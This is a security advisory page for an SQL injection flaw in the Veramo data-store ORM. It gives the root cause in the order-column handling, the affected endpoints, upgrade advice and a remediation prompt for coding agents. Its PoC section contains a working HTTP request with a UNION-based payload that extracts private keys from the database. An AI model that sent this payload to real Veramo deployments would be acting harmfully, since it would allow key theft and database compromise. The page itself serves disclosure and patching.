# GHSA-38cw-85xc-xr9x: Veramo is Vulnerable to SQL Injection in Veramo Data Store ORM

> Authenticated users can execute arbitrary SQL queries via unsanitized column parameters in Veramo data store ORM, risking data exposure and modification.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 16 Jan 2026

## What is GHSA-38cw-85xc-xr9x?

GHSA-38cw-85xc-xr9x is a SQL injection vulnerability in @veramo/data-store, published on 16 Jan 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

## Summary

An SQL injection vulnerability exists in the `@veramo/data-store` package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the `column` parameter in the `order` array of query requests.

## Details

`packages/data-store/src/data-store-orm.ts` (lines 416-434)

The vulnerability exists in the `decorateQB()` function which processes query ordering parameters:

```typescript
function decorateQB(
  qb: SelectQueryBuilder<any>,
  tableName: string,
  input: FindArgs<any>,
): SelectQueryBuilder<any> {
  if (input?.skip) qb = qb.offset(input.skip)
  if (input?.take) qb = qb.limit(input.take)

  if (input?.order) {
    for (const item of input.order) {
      qb = qb.addSelect(
        qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column),
        item.column,
      )
      qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction)
    }
  }
  return qb
}
```

**Root Cause:**

1. The `item.column` value from user input is passed directly as the **alias** parameter to `addSelect()` without any sanitization or validation
2. While TypeScript defines allowed column types (e.g., `TCredentialColumns = 'context' | 'type' | ...`), this is only compile-time checking
3. At runtime, the function accepts `FindArgs<any>`, allowing arbitrary strings to bypass type restrictions
4. TypeORM inserts the alias directly into the SQL query, enabling SQL injection

**Affected Endpoints:**

All endpoints are located in `packages/data-store/src/data-store-orm.ts`:

| Endpoint | Method | Line |
|----------|--------|------|
| `dataStoreORMGetIdentifiers` | identifiersQuery() | 85-98 |
| `dataStoreORMGetMessages` | messagesQuery() | 129-153 |
| `dataStoreORMGetVerifiableCredentialsByClaims` | claimsQuery() | 168-198 |
| `dataStoreORMGetVerifiableCredentials` | credentialsQuery() | 227-252 |
| `dataStoreORMGetVerifiablePresentations` | presentationsQuery() | 275-297 |

All these methods call `decorateQB()` which processes the vulnerable `order` parameter.

## PoC

**Prerequisites:**

- A running Veramo agent with the REST API exposed (e.g., via `@veramo/remote-server`)
- Valid authentication credentials (Bearer token)
- The agent uses `@veramo/data-store` with a SQLite or compatible database

**Example Exploit to Extract Private Keys From DB:**

```http
POST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1
Host: localhost:3332
Content-Length: 811
Authorization: Bearer test123
Content-Type: application/json

{ "where":[
    {
      "value": [
        "string"
      ],
      "not": true,
      "op": "foo",
"column":"bar"
    }
  ],
 
  "skip": 0,
  "take": 11111232323230,
"order": [
    {
      "direction": "ASC","column":"issuanceDate\" AS \"issuanceDate\" FROM \"claim\" \"claim\" LEFT JOIN \"identifier\" \"issuer\" ON \"issuer\".\"did\"=\"claim\".\"issuerDid\"  LEFT JOIN \"identifier\" \"subject\" ON \"subject\".\"did\"=\"claim\".\"subjectDid\"  LEFT JOIN \"credential\" \"credential\" ON \"credential\".\"hash\"=\"claim\".\"credentialHash\" where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object('alias', alias, 'type', type, 'privateKeyHex', privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -"
    }
  ]
}
```

similar exploit could be used against the other affected endpoints

## Impact

**Attack capabilities:**

- Complete database read access
- Reading or write files into fs depending on dbms used
- Database-specific escalation paths
- Dos through timebased or multiple long running queries

## Which versions are affected by GHSA-38cw-85xc-xr9x?

2 open source packages ship an affected version, including @veramo/data-store.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@veramo/data-store` | npm | All versions | 6.0.2 |
| `@veramo/data-store` | npm | All versions | 6.0.2 |

## How do I fix GHSA-38cw-85xc-xr9x?

Upgrade @veramo/data-store to 6.0.2 or later.

## Is GHSA-38cw-85xc-xr9x being exploited?

There is no known exploitation of GHSA-38cw-85xc-xr9x in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-38cw-85xc-xr9x and fix it if it is affected.

What it is: GHSA-38cw-85xc-xr9x is a SQL injection vulnerability in @veramo/data-store, published on 16 Jan 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-38cw-85xc-xr9x in the wild and no public exploit code.

Affected packages and fixed versions:
- @veramo/data-store (npm): affected all versions; fixed in 6.0.2
- @veramo/data-store (npm): affected all versions; fixed in 6.0.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-38cw-85xc-xr9x/ (Markdown: https://insights.sbomify.com/GHSA-38cw-85xc-xr9x/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-38cw-85xc-xr9x

---
From sbomify Insights: https://insights.sbomify.com/GHSA-38cw-85xc-xr9x/
Summaries are generated and may contain mistakes; the official description above is the record.
